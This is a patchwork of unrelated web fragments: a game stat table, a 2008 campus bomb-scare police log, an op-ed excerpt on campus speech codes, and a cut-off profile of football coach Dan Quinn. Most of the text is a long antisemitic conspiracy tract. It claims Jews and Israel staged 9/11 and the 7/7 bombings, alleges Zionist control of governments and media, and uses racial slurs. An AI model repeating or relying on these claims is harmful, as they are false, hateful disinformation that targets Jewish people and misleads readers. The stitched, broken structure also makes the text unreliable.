Style All Armour Bonus 65 62 50 44 38 33 29.4 29 25 21 18 16 13 11.4 11 8 7 6 4 3.9 3 2
Amulets
Style All Style Bonus 46 44 36 34 32 30 28 26 24 18 15 13 8 6 4 1
RingsAdam Selvidge says:
Apparently someone nicknamed "A-Bomb" forgot his briefcase on his car.
04/03/2008 12:35PM - At 11:40 a.m., an FSU parking attendant reported to FSU police that he had spotted a car with a suspicious package on the fourth floor of Parking Garage No. 1 on Woodward Avenue. FSU police responded immediately and found a white Izuzu car in the southeast corner of the fourth floor with a briefcase that displayed a message about a destructive device. FSU police set up a command post nearby, cordoned off the parking garage and the street, and evacuated the building. They also initiated the university’s Alert notification system. The Tallahassee Fire Department and the bomb squad are on scene. The bomb squad is currently assessing the briefcase.
04/03/2008 1:45PM - At 1:30 p.m., the FSU Police Department issued an “all clear” and said they had resolved the incident at Parking Garage No. 1. A local 17-year-old high school student returned to his car and accompanied police as they searched the briefcase that had aroused suspicion. There was nothing inside. He told them that a message that seemed to suggest a destructive device was inside was actually his nickname, “A-Bomb.” Officers allowed those who work in the building to return to their offices and held traffic so that drivers parked in the garage could quickly exit. Surrounding streets were cleared, and the campus returned to normal status.Every generation has an opportunity to change the world. Right now, college campuses around the country are home to a moral movement that seeks to reverse centuries of historic wrongs.
This movement is led by students forced to live with the legacy of sexism, with the threat, and sometimes the experience, of sexual assault. It is led by students whose lives have been marred by racism and bigotry. It is led by people who want to secure equal rights for gays, lesbians and other historically marginalized groups.
These students are driven by noble impulses to do justice and identify oppression. They want to not only crack down on exploitation and discrimination, but also eradicate the cultural environment that tolerates these things. They want to police social norms so that hurtful comments are no longer tolerated and so that real bigotry is given no tacit support. Of course, at some level, they are right. Callous statements in the mainstream can lead to hostile behavior on the edge. That’s why we don’t tolerate Holocaust denial.
But when you witness how this movement is actually being felt on campus, you can’t help noticing that it sometimes slides into a form of zealotry. If you read the website of the group FIRE, which defends free speech on campus, if you read Kirsten Powers’s book, “The Silencing,” if you read Judith Shulevitz’s essay “In College and Hiding From Scary Ideas” that was published in The Times in Sunday Review on March 22, you come across tales of professors whose lives are ruined because they made innocent remarks; you see speech codes that inhibit free expression; you see reputations unfairly scarred by charges of racism and sexism.RENTON, Wa. — Here’s how championship teams are built.
Seahawks defensive coordinator Dan Quinn had been on the job less than two months when he got on the phone with Michael Bennett, then a free agent in Tampa Bay and a former Quinn pupil. It was March 2013, and the Seahawks had signed former Lions defensive end Cliff Avril less than a day before. With so many accomplished pass rushers on the Seattle roster, Bennett was skeptical. Quinn was emphatic.
“He convinced me he would use me to the best of my abilities,” Bennett says a year later, after inking a four-year contract extension. “I trusted that.”
Bennett signed on for one year, and Quinn delivered. He moved the 6-4, 274-pounder, undrafted in 2009, from end to tackle in nickel packages, and a year later the Seahawks rewarded his 8.5-sack season with a $28.5 million commitment.
“He’s not married to a scheme; he wants you to grow,” Bennett says of Quinn. “He changes with the players.”
Such is the hallmark of Quinn as a man and a coach—an open-mindedness that has vaulted the New Jersey native, at age 43, to the top of football’s unofficial power ranking of future head coaches. During what will likely be his last training camp as a coordinator, the brains behind football’s No. 1 defense sports a loose-fitting t-shirt, a weathered cap and a toothy grin.
In Quinn's first season as defensive coordinator, Seattle led the league in yards allowed and points allowed. (Ted S. Warren/AP) In Quinn's first season as defensive coordinator, Seattle led the league in yards allowed and points allowed. (Ted S. Warren/AP)
“One of the things I’ve learned from Coach [Pete] Carroll is how to use our featured players,” Quinn says. “There’s a tendency to say, oh, he doesn’t fit the system. Coach Carroll is more like, what does he have that’s special?”
That means letting oversized safety Kam Chancellor set the edge in the run game and putting cornerback Richard Sherman in press situations on the line of scrimmage, and of course, matching up Bennett on occasion against lumbering offensive guards.
“All of those guys are so unique,” Quinn says. “You ask yourself, how can we feature them?”
Quinn, who played at Salisbury State in Maryland and got his coaching start at William & Mary, learned how to analyze players for latent strengths from the 49ers’ Bill McPherson in his first year in the league, as a quality control coach in 2001. He learned the 3-4 from Nick Saban in Miami, and he learned how to manage a coaching staff as a coordinator for two seasons at Florida under Will Muschamp from 2011-12.
Yet his defining trait isn’t so much learned as it’s a consequence of compulsion.
Says Bennett, “He’s a master in the film room.”
For Dan Quinn to become the Next Big Thing in coaching, his defense had to leave no doubt in Super Bowl XLVIII against Peyton Manning. In Quinn’s mind, that meant watching two years’ worth of Manning snaps in the week after the NFC Championship Game.
That’s every snap Manning had yet taken for the Denver Broncos, watched, re-watched and mentally catalogued; 1,479 throws, 967 handoffs, 131 touchdowns, 24 interceptions and more audibles than there are minutes in a day.
Says a close friend of Quinn’s, “He’s |
arrah - was the cousin of Ali al-Jarrah, who happened to have been working from 1983 to 2008 as an Israeli intelligence asset. Ali's brother Yusuf is also understood to have helped Ali betray his compatriots by spying for Israel. Ali al-Jarrah received more than $300,000 for his "work" from Israel. The New York Times claimed that the two cousins did not "appear" to have known each other "well", a tacit admission that they did know each other. The most likely explanation for this 'coincidence' is that Ziad al-Jarrah was also an Israeli intelligence asset who had been recruited by his older cousin.
There is multiple corroborating evidence that Muslims did not do 9/11, and that Israel played a central role, aided by corrupt elements of the Bush administration. This is reinforced by Zionist Jews' role in the cover-up: Jerome Hauer's appearance on TV within hours of the attacks peddling the official story about "Osama bin Laden" and buildings that collapsed because of plane impacts and intense fires, the Herzliya-based Don Radlauer's publication of a report detailing the flight paths of the alleged four hijacked planes that suggested hijacking and steering the planes would have been an easy task, Eddie Guigui Shalev's claim that Hani Hanjour was a "good" pilot, and Bernard Kerik's receipt of more than $236,000 (as "rent") from Steven C. Witkoff along with a $250,000 "loan" originating from Eitan Wertheimer, after Kerik had traveled to Israel two weeks prior to 9/11/01 where he met Wertheimer, and then claimed on 9/16/01 that a "hijacker's passport" had been "discovered" - implying that it had miraculously got separated from the "hijacker's" clothing or baggage and another hundred tons of aircraft debris, survived the Flight 11 fireball, and floated down to the ground in almost pristine condition despite being soaked with jet fuel.
Wertheimer - whose father Stef helped to make weapons for Jewish terrorists before 1948, and whose family was listed by Forbes magazine as fourth-richest in Israel as of March 2011 with a net worth of $4 billion - was reading the infamous Popular Mechanics at the age of 4. In its March 2005 edition, Popular Mechanics ran a dishonest piece purporting to be "debunking the myths" of "9/11 conspiracy theories". They did not even make a half-hearted attempt to 'explain' forensic evidence such as molten steel at the WTC by, for example, pretending it was aluminum or lead. They just totally ignored it, dodging the issue with the non sequitur that the "steel frames didn't need to melt" in order for the buildings to collapse, and then attacked straw man claims, e.g. about video 'evidence' of a "pod" on Flight 175.
Others attempting to cover for their crooked co-religionists include Cass Sunstein and David Aaronovitch, the former trying to counter 9/11 truth by infiltration, and the latter by mixing in lots of straw men, denying evidence that he finds inconvenient and bringing out the old chestnut about how it would have needed a lot of conspirators. In other words, Aaronovitch and Popular Mechanics employ a similar sophistry.
Ironically, journalists who attempt to defend the official 9/11 legend are actually benefitting the truth movement when they bring attention to Building 7, or when their shaky assertions serve to highlight the inadequacies of the legend. Of course, Meghan Keneally's article could have been designed to help 9/11 truth whilst duping the Mail's bosses into thinking it was anti-truth.
Given that a mainstream journalist attempting to submit unequivocally pro-truth articles would risk being fired and would not expect to see their work published, journalists should research 9/11 privately, and then discuss it with like-minded colleagues until an overwhelming majority have learnt the truth and are in a position to stand up to their crooked bosses. Otherwise, how can any objective, unbiased reporting be expected from the mainstream media on a matter as important as 9/11, as long as it is run by Asiatic Mongoloid war-loving, money-grubbing, truth-hating, amoral Neanderthals, chancers, hedonists and infiltrators whose loyalty is to none other than atheistic self-styled "Jews" and the Mishpucka?
Why those who say 9/11 was a Zionist job are not "anti-Semitic conspiracy theorists"
Those who are relatively new to the issues of false-flag terrorism, Zionism and the New World Order may be asking themselves if suggestions that Israel did 9/11 is a "conspiracy theory" or is "anti-Semitic". That disinformation has been disseminated by the 9/11 perpetrators, who love to exploit it as a means of deflecting attention from themselves, their crimes and deceptions. Any hypothesis about a crime committed by two or more people is a conspiracy theory. However, the 9/11 conspiracy theory of "nineteen Arabs with box cutters" is (almost) the most ridiculous of all conspiracy theories, since the evidence totally refutes it. The perpetrators deliberately float even crazier theories such as "aluminum planes could not have penetrated the WTC" and "WTC was hit by hologram missiles that look like planes". They are aware that the official legend will look quite reasonable in comparison, and 9/11 truth will be tarnished by association with garbage such as "no planes at the WTC", "space beam weapons destroyed the WTC", and "nukes destroyed the WTC".
The 'evidence' that is supposed to support the official conspiracy theory is planted, fake evidence, such as a "hijacker's passport" that was "discovered", or an "Osama confession" video that was conveniently "found" amongst all the buildings in Jalalabad (population estimated at roughly 250,000 as of 1999) in occupied Afghanistan within 5 weeks of it allegedly having been made, in which the only similarities between the "confessor" and OBL are that both of them wore a turban and sported a beard. Or "Osama" audiotapes, when they found it too embarrassing to bring out the same old photo each time. And that was long after the real Osama bin Laden had denied responsibility for the attacks. Twice, that is, even helpfully suggesting some possible suspects the second time. The evidence proving the official theory to be false is conspiracy fact, including ten years of hard science in which the material evidence now includes not only molten iron and evidence of extremely high temperatures (the "smoking gun"), but also active thermitic material (the "loaded gun"). Israelis with proven foreknowledge, a top Zionist Jew with access to the best Flight Termination System for electronically hijacking aircraft via a Command Transmitter System, an Israeli Instant Messaging service through which two hours' advance knowledge of an attack on the World Trade Center was transmitted, and Jews who were friends with four Israeli prime ministers and who took control of the WTC lease, and insured the buildings against terror attacks for billions of dollars, six weeks before the buildings were destroyed in terror attacks, not forgetting to insert a clause stating that in the event of a terrorist attack the partners could not only collect the insured value of the property, but would also be released from all of their obligations under the 99-year lease. See 9/11 For Reality Deniers for more.
As for accusations of anti-Semitism, it just so happens that Jewish criminals are at the top of the food chain, and all the credible evidence - as opposed to fake evidence such as planted passports and Korans, phony videos and "confessions" extracted following waterboarding - demonstrates that Jews, not Muslims, masterminded the 9/11 attacks.
Jews comprise nearly 0.2% of the world population. The North American Jewish Data Bank provides details of a study that places the total Jewish population at 13,428,300 at the beginning of 2010. The Jewish Virtual Library has a more concise presentation with a useful set of tables that shows population by country. These sources state that the total human population was 6.900 billion as of 2010. So the probability of any given individual being Jewish is about 1 in 514. As of September 2011, the population of Israel was 7,797,400, and of those some 5,874,300 were Jewish. The world population was almost 7 billion by then, and so Israelis constitute 1 in 898 of the population, with Israeli Jews making up a 1 in 1,192 proportion. As will be shown below, those behind 9/11 were not only Jews and were not only Zionist Jews, they were rabidly Zionist Jews and so part of a much smaller group.
So we have the five Israeli Jews arrested on the afternoon of 9/11 after three of them were seen filming and celebrating almost immediately after the first plane impact. The FBI concluded that two of the five - most likely Paul and Sivan Kurzberg - were Mossad agents. Even allowing for many thousands of sayanim, these agents are part of a much smaller set than Israeli Jews.
Then we have Rabbi Dov Zakheim, who as the former CEO of SPC International had access to world-leading aircraft remote control technology incorporating a "Flight Termination System" capable of simultaneously taking over a number of in-flight aircraft and issuing commands via a "Command Transmitter System". Zakheim was at SPC on October 31, 1999, around the time when the 9/11 planners would have wanted to carry out a trial run of electronically hijacking a Boeing aircraft. On that date, EgyptAir Flight 990 (a Boeing 767) plunged into the Atlantic, killing all 217 on board including 33 Egyptian army officers. No mechanical cause for the crash was ever found, and it was blamed on a "suicidal Muslim" co-pilot, a claim that was publicised by the New York Times, which had been under Jewish ownership since 1896. In September 2000 Zakheim was co-signatory to Rebuilding America's Defenses, a report published by The Project for the New American Century (PNAC), which wrote of the advantages of a "new Pearl Harbor", i.e. a false-flag terrorist act such as the electronic hijacking of several aircraft with corresponding controlled demolitions of several high-rises that would serve as casus belli for war. In February 2001 Zakheim was nominated by George W. Bush to serve as Comptroller at the Pentagon and Under Secretary of Defense. Zakheim was sworn in as Pentagon Comptroller and Chief Financial Officer for the Department of Defense on May 4. On March 3, 2000, it had been reported that the Pentagon's finances were "in disarray", and that in 1999 the Defense Department's accountants had needed to make almost $7 trillion in "adjustments" to try to reconcile bookkeeping discrepancies. They could not show receipts for $2.3 trillion of those corrections. There were hundreds of computer systems running various military accounts, but these were not integrated, and the financial records were not up to accounting standards or capable of even facing an audit.
Thus, at the time Dov Zakheim was nominated for the position as Comptroller in charge of the Pentagon accounts, it was well known to potential fraudsters intent on stealing hundreds of billions of dollars that a terrorist strike targeting the Pentagon's bookkeeping section, destroying computers and documents, and killing dozens of accountants, bookkeepers and budget analysts, would destroy any money trail leading back to them. On March 11, 2002, exactly six months after the Pentagon's bookkeeping section was targeted in a terrorist strike, Rabbi Dov Zakheim delivered a commemorative sermon on the Pentagon lawn to hundreds of co-religionists from 40 countries. Chabad Lubavitch rabbis had gathered ostensibly to launch the centenary commemoration of their spiritual leader, Rabbi Menachem Mendel Schneerson aka The Rebbe, yet the rabbis sang "Oseh Shalom" at 9:38 a.m. at the crash site, exactly six months after the Pentagon had been attacked. The Rebbe was born April 5, not March 11, in 1902.
Prior to 9/11/01, Israel already had a well-deserved reputation for staging false-flag terrorism and a known capability for doing so. On September 10, 2001, the Washington Times published details of a study by the Army School of Advanced Military Studies (SAMS), which had this to say of Israel's Mossad: "Wildcard. Ruthless and cunning. Has capability to target U.S. forces and make it look like a Palestinian/Arab act."
Towards the end of July, 2001, two billionaire Jewish real estate developers who were friends with four Israeli prime ministers (excluding Yitzhak Rabin who was assassinated in 1995) took control of the World Trade Center (WTC) lease, and insured the buildings against terror attacks for billions of dollars, with a clause stating that in the event of a terrorist attack, the partners could not only collect the insured value of the property, but would also be released from all of their obligations under the 99-year lease. Larry Silverstein was a friend of Benjamin Netanyahu, Ariel Sharon and Ehud Barak. Frank Lowy, who fought "in the Jewish underground", was a friend and business partner of Ehud Olmert. On September 4, 2001, one week prior to the 9/11 attacks, the Zim-American Israeli Shipping Co. moved out of the WTC, transferring their HQ to Norfolk, Virginia. Six weeks after the new controllers had taken over the lease, the WTC was destroyed in terror attacks. Uncharacteristically, Silverstein did not breakfast at the Windows on the World restaurant on the 106th and 107th floors of the North Tower that day, and his two children were also spared as they also did not turn up for work at Silverstein Properties. The explanation provided was that Silverstein coincidently had a "dermatologist's appointment" on the morning of 9/11/01, and his children were "running late".
How many people are friends with three Israeli premiers? Even if six or seven thousand, such an exclusive group would be 1 in a million. And Larry Silverstein, the front man who took over the WTC lease six weeks before 9/11/01, and didn't go to the Windows on the World restaurant on the morning of 9/11/01 although he had done so every other morning since July 26, 2001, happened to be from such a group.
When two hours' advance warning of an attack on the WTC was transmitted via an instant messaging company, Odigo, that had an office in New York, the company happened to be Israeli. The Israeli population is the 1 in 898 group. However, Odigo's Israeli research and development office just happened to be in Herzliya, the location of the Mossad's headquarters and of Don Radlauer who was working to promote the "Arabs did 9/11" legend as early as September 13, 2001, with a claim that hijacking, steering and navigating Boeing aircraft would have been an "easy" task for hijackers. The population of Herzliya was 87,000 at the end of 2009, making this group 1 in 79,300 of the world population.
The ex-Sayeret Matkal Zionist Jew Daniel Lewin was reputedly on Flight 11, as mentioned above. The elite commando unit is clearly a very exclusive group.
The ex-Sayeret Matkal Israeli premier Benjamin Netanyahu wrote in 1995 about "militant Islam" bringing down the World Trade Center, twenty years after he earned a B.Sc. degree in architecture from MIT - where he used the surname Nitay, also having gained an M.Sc. in business management there, in which his thesis was on the impact of computers in the newspaper industry and how they could enhance newspapers' political power.
As for the London 7/7 bombings, Efraim Halevy, the London-born director of the Mossad from 1998 - 2002, inadvertently gave away his intimate knowledge of the operation by revealing in an article he wrote for the July 7 edition of the Jerusalem Post that he knew the bombings were simultaneous. The British authorities spent the next two days claiming that the three Tube explosions were spread over a period of 26 minutes from 08:51 to 09:17, before revising the story to simultaneous explosions.
Source
The official tale of "Muslim suicide bombers" was physically impossible, given the actual train times of the day following problems with the overhead lines in the Mill Hill area, and the official scenario of exploding backpacks was contradicted by eyewitness reports and photos indicating that the explosions originated underneath the carriages. The Israeli company Verint Systems, a subsidiary of Israel's Comverse Technology, handled video security at the London Underground.
Benjamin Netanyahu and Rudy Giuliani were both located in London on the morning of the 7/7 bombings. Netanyahu, obviously having foreknowledge of the terror operation, did not turn up for his scheduled speech at the 4th annual Tel Aviv Stock Exchange (TASE) Investors Conference in the Great Eastern Hotel. In an attempt at explanation, it was claimed that Scotland Yard had provided a warning. However, Scotland Yard refused to play along with the Israelis. It was later admitted via the German newspaper Bild am Sonntag that Mossad agents in London had advance knowledge, although the Mossad inserted a false, wildly unrealistic claim that they did not know until six minutes prior to the first explosion.
Giuliani, who was the boss and very good friend of former New York Police Commissioner Bernard Kerik and the godfather of his young children, can be placed in Yorkshire the day before 7/7/05. Miraculously, rather like the "discovery" (announced by Kerik) of a passport bearing the name Satan al-Suqami, a till receipt obtained from a garden center at Tulip Retail Park in Leeds, Yorkshire was "found" to have survived one of the deadly Tube train blasts, and cited as 'evidence' for the official version of events.
Zionist control of the mainstream media
Jewish plutocrats have taken control of the central banks, international banking and the mainstream media.
Source: Dr. Alan Sabrosky
As for the British media, Jews are also heavily represented.
Source: Wikipedia, list of British Jews
The Daily Mail's Managing Director Guy Zitter no doubt shies away from any independent, unbiased investigation into WTC7 and other impossibilities, improbabilities and anomalies associated with the official 9/11 narrative because he is aware, suspects or fears "that any evidentiary trail would lead directly or indirectly to Israel and its US support base", as Dr. Alan Sabrosky sagely observes.
As mentioned above, the Mail's writers include the Zionist Jew Melanie Phillips and the Zionist Richard Littlejohn, so the evidence points to Zitter being a Zionist Jew. And the Mail's editor Paul Dacre is Zionist, otherwise Phillips and Littlejohn would be fired and replaced by those with the honesty to tell it like it is.
Some attacks on Dacre have gone too far, such as statements that he must "die". However, Dacre is apparently a bully whose morning editorial meetings have become known as the "Vagina Monologues" because of how he calls everyone a "cunt". His successful career as editor of the Mail with its 2 million circulation is an unfortunate testament to the aphorism that nice guys finish last.
There is an argument that those such as Zitter and Dacre should stand trial for aiding and abetting terrorism and as accessories to mass murder, given their role in protecting Criminal Zionism through their rigid adherence to the official 9/11 narrative. However, this argument will strengthen if they continue to promote 9/11 lies as those who support the nineteen Arabs story are increasingly seen as retards and fruitcakes who are a few sandwiches short of a picnic. Newspaper bosses will use the defense that there is no "Jewish conspiracy", they are merely continuing to go with the consensus (of the false narrative) because they believe (albeit probably incorrectly) it would be bad for business to do otherwise. And in many cases, this is probably true.
A man like Guy Zitter is clearly preoccupied with growth and circulation figures, and there is no need to postulate that most newspaper directors or editors necessarily receive telephone calls from Tel Aviv or from Abe Foxman, instructing them on how to prop up the official 9/11 legend. However, it does happen. As mentioned above, Christopher Ketcham revealed that Foxman called Fox News and succeeded in getting them to remove the transcripts of the Carl Cameron report from their website.
Apart from protecting Israel and Zionist interests, Zitter has another motive for working to delay the demise of the "Arab hijackers with box cutters" legend. Zitter's newspaper career started in ad sales, and a significant portion of the Daily Mail and Mail on Sunday's advertising revenue is generated from cruise operators. In a similar vein, the Norwegian billionaire Petter Olsen of the shipping family behind the Fred Olsen brand of cruise ships is the principal sponsor of the floundering British Shakespeare Company, which was founded by Robert J. Williamson, who nowadays is reduced to posting inane comments using the handle WillShakespeare2007, e.g. on YouTube, in defense of the Arab hijackers conspiracy theory. Guess who benefits from a continuing scare about "al Qaeda" terrorists who keep attempting to blow up aircraft worldwide, yet inexplicably leave cruise ships for the occasional band of Somali pirates.
Guy Zitter is described as the "best-looking" of the Northcliffe Golfing Society's Team Captains. The Northcliffe Golfing Society was founded in 1910 as the Carmelite Golfing Society, but changed its title following the death of its first president, Lord Northcliffe, in 1923. The Daily Mail and General Trust head office is currently located at Northcliffe House in Kensington; the company was at New Carmelite House in Fleet Street for nearly 100 years until 1988.
Lord Northcliffe, born in Ireland as Alfred Harmsworth, was a latter-day Rupert Murdoch. Northcliffe bought the London Evening News in 1894, started publishing London's Daily Mail in 1896, founded the Daily Mirror in 1903, and bought The Times of London in 1908. On July 14, 1908, The New York Times reported that Lord Northcliffe had a controlling interest in the London Times; the other partners were Lord Rothschild and Lord Cromer. In light of the mainstream media's subsequent deception and promotion of government lies, Lord Northcliffe had an intriguing job title during WWI: the "Director of Propaganda in Enemy Countries".
Rupert Murdoch, a long-time friend of twice-serving Israeli premier Benjamin Netanyahu, was sponsored by the Rothschilds, the Bronfmans and the Oppenheimers. Lord (Jacob) Rothschild and Murdoch are currently business partners in a scheme to "tap the world’s substantial oil shale deposits which could transform the future prospects of Israel, the Middle East" and Rothschild assets around the world.
Now that 9/11 truth is increasingly part of the mainstream, with structural engineers, architects, physicists, mechanical engineers, metallurgical engineering graduates, PhD scientists, fire protection engineers, fire-fighters, electrical design engineers, explosives technicians, psychologists and international judges having voiced their support, it will become increasingly hard for news media bosses such as Zitter and Dacre to continue to play the part of ignorant "idiots" who are too stupid to understand what really happened on September 11, 2001. Should they continue to assist in the cover-up, they will be effectively admitting that they are merely puppets of Zionist billionaires such as the Rothschilds. If they do decide to change their ways, they might be pleasantly surprised by the effect on circulation and ratings.
Zionist occupied government (ZOG)
The Western - more accurately termed Rothschildian - so-called "democracies" are a farce, since Jewish plutocrats have the leaders of the incumbent and opposition parties under their thumbs. The U.S. president is supposed to be the leader of the world's most powerful nation, yet he is obliged to "deal with" the Israeli prime minister "every day", and French president Nicolas Sarkozy has confirmed that Benjamin Netanyahu is a "liar" whom he cannot "bear". In other words, the Zionist Mafia issue daily orders to their biggest puppet via their man in occupied Palestine, rather than having to employ middlemen such as David Axelrod or Rahm Emmanuel on a day-to-day basis. And the Mafia's poodles, who similarly receive their instructions albeit less frequently, also hate having to deal with their superiors. The monkeys grudgingly dance to the organ grinder's tune, under the clear understanding that were they to rebel, they would soon be out on their ears with the loss of their privileges and (relatively limited) power.
There were 31 Jews in key positions in the Bush administration, and Obama has 21 Jews in "his" administration. In reality, Zionist Occupied Government (ZOG) states are little more than client states of Israel and the Zionist Mafia, and the nominal "leaders" of these states are initially installed by Jewish power brokers, whereupon they find that it's payback time. The Zionist lobby dominates, without yet enjoying total control. However, when their man is a psychopath who will do anything to further his career, they can generally realize major foreign policy aims such as wars on a false prospectus, even though the "leader" may appear a little weird and - in Britain - can appear to have developed a "presidential" style.
For example, the suitably psychopathic and career-oriented Tony Blair was set up as Prime Minister by Lord (Michael) Levy and Zionist media mogul Rupert Murdoch. Levy, described by The Jerusalem Post as "undoubtedly the notional leader of British Jewry", was officially designated Blair's "special envoy to the Middle East", and was also his tennis partner. This arrangement enabled Levy to serve as intermediary between the Zionist Mafia and their puppet Tony Blair. Alleged attempts to secure peace were never more than a sham, since successive Israeli governments recognized that peace would be damaging to Israel's national interest.
More recently, Blair has secured the farcical position as "Middle East peace envoy". It's not surprising that he is "of no use at all" as a peace broker; Blair and the Zionists desire peace like they desire a hole in the head, which is why such people ensure that peace initiatives fail.
British Prime Minister David Cameron was selected as Conservative party leader over his rival David Davis, the previous hot favorite who would have done a much better job of representing the British people. Cameron, who was elected by party members after being lauded in the mainstream media as the "bright young hope of the Tory cause" and after having made a speech that misrepresented his true intentions, is the great-great-great-great-great-grandson of King William IV and the fifth cousin twice-removed of Queen Elizabeth II. One of Cameron's financial backers in the 2005 leadership race was Michael Spencer, a billionaire as of 2008, who was Conservative Treasurer for three years until a scandal in which he left his wife for one of the Queen's cousins. Cameron's family has a tradition of making money in finance. One of his great-great-grandfathers, Emile Levita from a Jewish family sometimes described as Sephardic but more likely Ashkenazi, became a director of the Chartered Bank of India, Australia and China which had offices in London and profited from the opium trade. Plus ça change, plus c'est la même chose. Another great-great-grandfather was Sir Ewen Cameron, who worked for the Hong Kong and Shanghai Banking Corporation and helped the Rothschilds to sell war bonds during the Russo-Japanese war. David Cameron's paternal grandmother, Enid Levita, was the Jewish great-great-great-granddaughter of King William IV.
The illegal, immoral wars in Afghanistan and Iraq did not benefit the U.K. or the U.S. at a national level, although they certainly served as a highly inefficient redistribution of public (i.e., taxpayers') money and looted money to the private bank accounts of a few liars, profiteers and war criminals. However, Israel, by having its enemies vanquished at no cost to itself in blood or cash, benefited to the tune of, at the very least, hundreds of thousands of dead Muslims, thousands of troops dead and tens of thousands injured, and a cost to the U.S. alone of well over a trillion dollars when all is taken into account.
The Zionist crime lords attempt to protect themselves by hiding behind the Jewish religion and playing the anti-Semitism card whenever someone goes after them. The idea that one should "hate" an entire race or religion because of an extremist minority, a crooked, rich elite, and government crimes such as warmongering or state-sponsored terrorism, is as ridiculous as the idea that Iraqis should hate all Americans or Britons because the U.S. and British governments waged war against their country. Many citizens of the attacking countries opposed the war in Iraq. A crescendo of opposition to the impending invasion culminated with an estimated six to thirty million people demonstrating worldwide on Saturday, February 15, 2003.
Jews who believe in justice
The anti-Judaics may go too far and say that most, or even all, Jews are the problem. They sometimes unfairly accuse anti-Zionist Jews, such as the allegation that Dr. Hannah Kasher is a "racist, homicidal maniac". In fact, Dr. Kasher, a philosophy lecturer who once wrote about how Biblical calls for collective punishment of "the Amalek" had been justified over the ages whilst making clear that "there is no obligation to blot out Amalek today", is an anti-Zionist Jew who has signed a petition calling on her students to refuse to serve in the Israeli military as a protest against the occupation of the Palestinian Territories. There is no evidence that Dr. Kasher condones the killing of Palestinians any more than a Christian teacher who teaches about the Crusades supports the conquering of lands and murder and torture of civilians. If she did, she would hardly risk retaliation by signing an anti-Zionist petition.
Another anti-Zionist Jew, Anat Kam, was sentenced to four-and-a-half years for the selfless act of leaking documents that exposed the Israeli Defence Forces' policy of "assassinating" - i.e., premeditated murder of - Palestinians and then pretending they'd been killed in an exchange of fire. Ms. Kam helped to show that there is a problem with Jewish supremacists and paranoid, trigger-happy, Israeli soldiers. Appallingly, the hawks are now attempting to increase the sentence for the 'crime' of whistle-blowing to "up to 15 years", citing grounds of "national security". In other words, because of the opinion of some paranoid conspiracy nut who acts as judge, jury and executioner and thinks certain Palestinians might attack Israelis, they must be murdered first to prevent this hypothetical act, by agents of a cash-rich regime that has received more than $100 billion of "aid" from the U.S., and carried out a sustained air and naval attack on the USS Liberty for over an hour in 1967, employing torpedoes, machine guns and napalm rockets, even to the extent of machine-gunning lifeboats launched to save the most seriously wounded.
Mordechai Vanunu is another hero, a prisoner of conscience who exposed Israel's clandestine nuclear weapons program and the fact that by 1986 it already had an arsenal of 100 to 200 advanced fission bombs, and possibly some thermonuclear devices. In the early 1990s, the Mossad predicted that Iran would be capable of targeting Israel with a nuclear missile by 2000, and exploited the claim so that Israel obtained three diesel-electric Dolphin-class submarines from Germany that are capable of firing cruise missiles with a 900 to 1,200-mile range. The missiles are intended to be equipped with nuclear warheads. In May of 2000, Israel carried out its first test launch of the missile from a submarine in the Indian Ocean, hitting a target 900 miles away. When the Mossad's "Iranian nukes in 2000" prediction was proven to be false, the estimate was revived to 2002. More recently, former Mossad head Meir Dagan has said it could take until 2015, whereas Ehud Barak claims 2012.
Those who maintain the problem is essentially Jewish rather than Zionist will cite the fact that anti-Zionist Jews are quite a small minority. And it is obvious from any investigation of false-flag terrorism and the international operations of the Mossad that there is at least a criminal minority of Jews who are very much part of the problem, with some of them bent on bringing about a "Jewish Utopia". But what of the middle group - those who are not avowedly anti-Zionist but are not sadistic killers or hate-filled supremacists?
From an examination of Jews and Israelis commenting on the internet, it is quite apparent that many of them are sincere but grotesquely misinformed and brainwashed. They are generally very ignorant of the facts regarding 9/11 and have a misplaced trust in government and in Zionism. Jews in this group regard themselves as Zionists because they imagine that Zionism represents them and the Israeli government protects them. This is belied by the fact that even Zionist Jews regard Israel as a "country that experiences terror daily", and prior to the beginning of the First Aliyah around 1881-82 when the first Zionist settlers purchased land from absentee Arab owners, dispossessing the peasants who had cultivated it, there was little conflict between the Jewish minority and the Arab population in Palestine. After the 1947-1948 Civil War in Mandatory Palestine and the 1948 Arab–Israeli War which resulted in around 750,000 Palestinians fleeing or being expelled from their homes, with the Zionists then blaming the Arab victims for resisting their dispossession, Israeli Jews are subjected to random acts of terror because the Zionist regime refuses to compensate for Arab losses and to accept Palestinian demands for a viable, independent state.
Source: Jews for Justice in the Middle East
Today, Jews, Christians, Muslims, atheists and anyone else live together peacefully in the Diaspora. The Zionist Mafia are not concerned with improving the lives of Jews in general; they are only interested in their pursuit of power and profit. The Zionist Mafia benefits from encouraging Jewish paranoia, since they can then offer themselves as the "solution" - as "protectors" of Jews. In Israel, the Zionist regime guarantees terror attacks against Jews with its anti-peace policies. Elsewhere, the Zionists have to try to perpetuate the myth that everyone hates Jews, in case people notice that Jews are less safe in Israel and start to suspect that Zionism might be the problem. So they have sayanim faking phony "hate crimes" against themselves, such as vandalising their own cars or graves, or poisoning their dogs and defacing their houses with swastikas, or cutting their clothes and drawing swastikas on their stomachs. "Come to Israel, where we can protect you from those nasty anti-Semites!"
So here's how Zionism works:
Pretend that Zionism is simply about establishing a homeland for the Jews that will serve as a sanctuary where they may live peacefully out of the reach of "anti-Semites"
Claim to be "God's Chosen People", and trick the world's nations into letting you seize another people's land on a false prospectus
Dispossess the indigenous population of their homes and land, and be sure to treat them with such contempt that they resist the occupation with random acts of terror
Ensure that any peace talks fail by continuing to oppress the dispossessed and setting impossible conditions; blame it on your opponents' intransigence
Develop nuclear weapons for your very own sovereign state
Kill any U.S. president who opposes your plans to become a nuclear power; blame it on a "lone assassin"
Get the U.S. to provide you with conventional arms and billions of dollars of "foreign aid" annually
Have some sayanim phony up "hate crimes" against themselves in the rest of the world
Recruit brainwashed Jews into your foreign intelligence agency; convince them that they must steal passports, carry out assassinations and stage false-flag terrorism in order to "save Jews" worldwide from the "anti-Semites"
Strengthen your ability to use nuclear blackmail as a bargaining chip by obtaining submarines capable of firing nuclear-tipped cruise missiles with a 900-mile range
Exploit your false-flag terrorism attacks for all they are worth: have your agents go on TV within hours to peddle the official narrative; whip up sufficient outrage, e.g. by ensuring the collapse of several skyscrapers, that your "allies" will sacrifice thousands of their troops and waste vast sums fighting your enemies in order to convert them into Rothschildian 'democracies', at no cost to you
Carry on until there is a Rothschild central bank in every nation
